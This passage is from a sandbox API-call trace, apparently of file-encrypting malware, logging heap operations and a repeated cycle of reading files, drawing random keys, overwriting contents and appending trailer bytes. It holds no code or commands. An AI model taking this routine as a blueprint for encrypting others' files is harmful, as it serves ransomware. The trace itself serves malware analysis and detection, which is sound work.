0x540000 [0088.458] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.458] GetProcessHeap () returned 0x540000 [0088.458] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.458] GetProcessHeap () returned 0x540000 [0088.458] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.458] GetProcessHeap () returned 0x540000 [0088.458] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0088.458] GetProcessHeap () returned 0x540000 [0088.458] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.458] GetProcessHeap () returned 0x540000 [0088.458] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0088.458] GetProcessHeap () returned 0x540000 [0088.458] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0088.458] GetProcessHeap () returned 0x540000 [0088.458] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0088.458] GetProcessHeap () returned 0x540000 [0088.458] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0088.458] GetProcessHeap () returned 0x540000 [0088.458] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0088.458] GetProcessHeap () returned 0x540000 [0088.458] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0088.458] GetProcessHeap () returned 0x540000 [0088.458] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0088.458] GetProcessHeap () returned 0x540000 [0088.458] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0088.458] GetProcessHeap () returned 0x540000 [0088.458] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0088.459] GetProcessHeap () returned 0x540000 [0088.459] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0088.459] GetProcessHeap () returned 0x540000 [0088.459] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0088.459] GetProcessHeap () returned 0x540000 [0088.459] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0088.459] GetProcessHeap () returned 0x540000 [0088.459] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0088.459] GetProcessHeap () returned 0x540000 [0088.459] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0088.459] GetProcessHeap () returned 0x540000 [0088.459] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0088.459] GetProcessHeap () returned 0x540000 [0088.459] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0088.459] GetProcessHeap () returned 0x540000 [0088.459] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0088.459] GetProcessHeap () returned 0x540000 [0088.459] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0088.459] GetProcessHeap () returned 0x540000 [0088.459] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0088.459] GetProcessHeap () returned 0x540000 [0088.459] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0088.459] GetProcessHeap () returned 0x540000 [0088.459] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0088.459] GetProcessHeap () returned 0x540000 [0088.459] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0088.459] GetProcessHeap () returned 0x540000 [0088.459] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0088.459] GetProcessHeap () returned 0x540000 [0088.460] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0088.460] GetProcessHeap () returned 0x540000 [0088.460] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0088.460] GetProcessHeap () returned 0x540000 [0088.460] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0088.460] GetProcessHeap () returned 0x540000 [0088.460] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0088.460] GetProcessHeap () returned 0x540000 [0088.460] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0088.460] GetProcessHeap () returned 0x540000 [0088.460] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0088.460] GetProcessHeap () returned 0x540000 [0088.460] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0088.460] GetProcessHeap () returned 0x540000 [0088.460] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0088.460] GetProcessHeap () returned 0x540000 [0088.460] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0088.460] GetProcessHeap () returned 0x540000 [0088.460] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0088.460] GetProcessHeap () returned 0x540000 [0088.460] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0088.460] GetProcessHeap () returned 0x540000 [0088.460] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0088.460] GetProcessHeap () returned 0x540000 [0088.460] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0088.460] GetProcessHeap () returned 0x540000 [0088.460] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0088.460] GetProcessHeap () returned 0x540000 [0088.460] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0088.460] SetFilePointerEx (in: hFile=0x9bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.460] WriteFile (in: hFile=0x9bc, lpBuffer=0x3345c08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345c08*, lpNumberOfBytesWritten=0x2c5fd44*=0x100, lpOverlapped=0x0) returned 1 [0088.461] WriteFile (in: hFile=0x9bc, lpBuffer=0x2c5fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd48*, lpNumberOfBytesWritten=0x2c5fd44*=0x4, lpOverlapped=0x0) returned 1 [0088.461] GetProcessHeap () returned 0x540000 [0088.461] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x33427c0 | out: hHeap=0x540000) returned 1 [0088.461] GetProcessHeap () returned 0x540000 [0088.461] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0088.461] GetProcessHeap () returned 0x540000 [0088.461] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0088.461] CloseHandle (hObject=0x9bc) returned 1 [0088.462] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 145 [0088.462] SetFilePointerEx (in: hFile=0x9c0, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.463] ReadFile (in: hFile=0x9c0, lpBuffer=0x2c5fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd4c*, lpNumberOfBytesRead=0x2c5fd08*=0x0, lpOverlapped=0x0) returned 1 [0088.463] SetFilePointerEx (in: hFile=0x9c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.463] GetProcessHeap () returned 0x540000 [0088.463] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0088.463] GetProcessHeap () returned 0x540000 [0088.463] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ef10 [0088.463] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0088.463] GetProcessHeap () returned 0x540000 [0088.463] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x33427c0 [0088.463] ReadFile (in: hFile=0x9c0, lpBuffer=0x33427c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesRead=0x2c5fd08*=0xfcc, lpOverlapped=0x0) returned 1 [0088.512] SetFilePointerEx (in: hFile=0x9c0, liDistanceToMove=0xfffff034, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.512] WriteFile (in: hFile=0x9c0, lpBuffer=0x33427c0*, nNumberOfBytesToWrite=0xfcc, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesWritten=0x2c5fd44*=0xfcc, lpOverlapped=0x0) returned 1 [0088.512] GetProcessHeap () returned 0x540000 [0088.512] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0088.512] GetProcessHeap () returned 0x540000 [0088.512] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0088.512] GetProcessHeap () returned 0x540000 [0088.512] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ea88 [0088.512] GetProcessHeap () returned 0x540000 [0088.512] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0088.512] GetProcessHeap () returned 0x540000 [0088.512] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0088.512] GetProcessHeap () returned 0x540000 [0088.512] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0088.512] GetProcessHeap () returned 0x540000 [0088.513] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.513] GetProcessHeap () returned 0x540000 [0088.513] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.513] GetProcessHeap () returned 0x540000 [0088.513] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.513] GetProcessHeap () returned 0x540000 [0088.513] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.513] GetProcessHeap () returned 0x540000 [0088.513] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.513] GetProcessHeap () returned 0x540000 [0088.513] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.513] GetProcessHeap () returned 0x540000 [0088.513] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.513] GetProcessHeap () returned 0x540000 [0088.513] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.513] GetProcessHeap () returned 0x540000 [0088.513] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.513] GetProcessHeap () returned 0x540000 [0088.513] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.513] GetProcessHeap () returned 0x540000 [0088.513] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.513] GetProcessHeap () returned 0x540000 [0088.513] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.513] GetProcessHeap () returned 0x540000 [0088.513] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.513] GetProcessHeap () returned 0x540000 [0088.513] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.513] GetProcessHeap () returned 0x540000 [0088.513] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.513] GetProcessHeap () returned 0x540000 [0088.513] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.513] GetProcessHeap () returned 0x540000 [0088.513] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.513] GetProcessHeap () returned 0x540000 [0088.513] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.513] GetProcessHeap () returned 0x540000 [0088.513] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.513] GetProcessHeap () returned 0x540000 [0088.513] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.513] GetProcessHeap () returned 0x540000 [0088.514] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.514] GetProcessHeap () returned 0x540000 [0088.514] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.514] GetProcessHeap () returned 0x540000 [0088.514] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.514] GetProcessHeap () returned 0x540000 [0088.514] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.514] GetProcessHeap () returned 0x540000 [0088.514] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.514] GetProcessHeap () returned 0x540000 [0088.514] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.514] GetProcessHeap () returned 0x540000 [0088.514] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.514] GetProcessHeap () returned 0x540000 [0088.514] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.514] GetProcessHeap () returned 0x540000 [0088.514] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.514] GetProcessHeap () returned 0x540000 [0088.514] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.514] GetProcessHeap () returned 0x540000 [0088.514] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.514] GetProcessHeap () returned 0x540000 [0088.514] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.514] GetProcessHeap () returned 0x540000 [0088.514] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0088.514] GetProcessHeap () returned 0x540000 [0088.514] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.514] GetProcessHeap () returned 0x540000 [0088.514] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0088.514] GetProcessHeap () returned 0x540000 [0088.514] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0088.514] GetProcessHeap () returned 0x540000 [0088.514] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0088.514] GetProcessHeap () returned 0x540000 [0088.514] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0088.514] GetProcessHeap () returned 0x540000 [0088.514] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0088.514] GetProcessHeap () returned 0x540000 [0088.515] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0088.515] GetProcessHeap () returned 0x540000 [0088.515] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0088.515] GetProcessHeap () returned 0x540000 [0088.515] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0088.515] GetProcessHeap () returned 0x540000 [0088.515] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0088.515] GetProcessHeap () returned 0x540000 [0088.515] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0088.515] GetProcessHeap () returned 0x540000 [0088.515] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0088.515] GetProcessHeap () returned 0x540000 [0088.515] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0088.515] GetProcessHeap () returned 0x540000 [0088.515] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0088.515] GetProcessHeap () returned 0x540000 [0088.515] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0088.515] GetProcessHeap () returned 0x540000 [0088.515] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0088.515] GetProcessHeap () returned 0x540000 [0088.515] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0088.515] GetProcessHeap () returned 0x540000 [0088.515] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0088.515] GetProcessHeap () returned 0x540000 [0088.515] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0088.515] GetProcessHeap () returned 0x540000 [0088.515] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0088.515] GetProcessHeap () returned 0x540000 [0088.515] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0088.515] GetProcessHeap () returned 0x540000 [0088.516] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0088.516] GetProcessHeap () returned 0x540000 [0088.516] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0088.516] GetProcessHeap () returned 0x540000 [0088.516] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0088.516] GetProcessHeap () returned 0x540000 [0088.516] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0088.516] GetProcessHeap () returned 0x540000 [0088.516] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0088.516] GetProcessHeap () returned 0x540000 [0088.516] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0088.516] GetProcessHeap () returned 0x540000 [0088.516] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0088.516] GetProcessHeap () returned 0x540000 [0088.516] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0088.516] GetProcessHeap () returned 0x540000 [0088.516] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0088.516] GetProcessHeap () returned 0x540000 [0088.516] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0088.516] GetProcessHeap () returned 0x540000 [0088.516] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0088.516] GetProcessHeap () returned 0x540000 [0088.516] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0088.516] GetProcessHeap () returned 0x540000 [0088.516] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0088.516] GetProcessHeap () returned 0x540000 [0088.516] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0088.516] GetProcessHeap () returned 0x540000 [0088.516] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0088.516] GetProcessHeap () returned 0x540000 [0088.516] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0088.516] GetProcessHeap () returned 0x540000 [0088.517] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0088.517] GetProcessHeap () returned 0x540000 [0088.517] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0088.517] SetFilePointerEx (in: hFile=0x9c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.517] WriteFile (in: hFile=0x9c0, lpBuffer=0x3345c08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345c08*, lpNumberOfBytesWritten=0x2c5fd44*=0x100, lpOverlapped=0x0) returned 1 [0088.517] WriteFile (in: hFile=0x9c0, lpBuffer=0x2c5fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd48*, lpNumberOfBytesWritten=0x2c5fd44*=0x4, lpOverlapped=0x0) returned 1 [0088.517] GetProcessHeap () returned 0x540000 [0088.517] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x33427c0 | out: hHeap=0x540000) returned 1 [0088.517] GetProcessHeap () returned 0x540000 [0088.517] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0088.517] GetProcessHeap () returned 0x540000 [0088.517] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0088.517] CloseHandle (hObject=0x9c0) returned 1 [0088.518] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 146 [0088.518] SetFilePointerEx (in: hFile=0x9c4, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.518] ReadFile (in: hFile=0x9c4, lpBuffer=0x2c5fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd4c*, lpNumberOfBytesRead=0x2c5fd08*=0x0, lpOverlapped=0x0) returned 1 [0088.518] SetFilePointerEx (in: hFile=0x9c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.518] GetProcessHeap () returned 0x540000 [0088.518] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0088.518] GetProcessHeap () returned 0x540000 [0088.518] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ef10 [0088.518] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0088.519] GetProcessHeap () returned 0x540000 [0088.519] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x33427c0 [0088.519] ReadFile (in: hFile=0x9c4, lpBuffer=0x33427c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesRead=0x2c5fd08*=0xeff, lpOverlapped=0x0) returned 1 [0088.564] SetFilePointerEx (in: hFile=0x9c4, liDistanceToMove=0xfffff101, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.564] WriteFile (in: hFile=0x9c4, lpBuffer=0x33427c0*, nNumberOfBytesToWrite=0xeff, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesWritten=0x2c5fd44*=0xeff, lpOverlapped=0x0) returned 1 [0088.564] GetProcessHeap () returned 0x540000 [0088.564] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0088.564] GetProcessHeap () returned 0x540000 [0088.564] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0088.564] GetProcessHeap () returned 0x540000 [0088.564] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ea88 [0088.564] GetProcessHeap () returned 0x540000 [0088.565] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0088.565] GetProcessHeap () returned 0x540000 [0088.565] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0088.565] GetProcessHeap () returned 0x540000 [0088.565] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0088.565] GetProcessHeap () returned 0x540000 [0088.565] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.565] GetProcessHeap () returned 0x540000 [0088.565] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.565] GetProcessHeap () returned 0x540000 [0088.565] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.565] GetProcessHeap () returned 0x540000 [0088.565] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.565] GetProcessHeap () returned 0x540000 [0088.565] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.565] GetProcessHeap () returned 0x540000 [0088.565] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.565] GetProcessHeap () returned 0x540000 [0088.565] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.565] GetProcessHeap () returned 0x540000 [0088.565] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.565] GetProcessHeap () returned 0x540000 [0088.565] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.565] GetProcessHeap () returned 0x540000 [0088.565] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.565] GetProcessHeap () returned 0x540000 [0088.565] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.565] GetProcessHeap () returned 0x540000 [0088.565] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.565] GetProcessHeap () returned 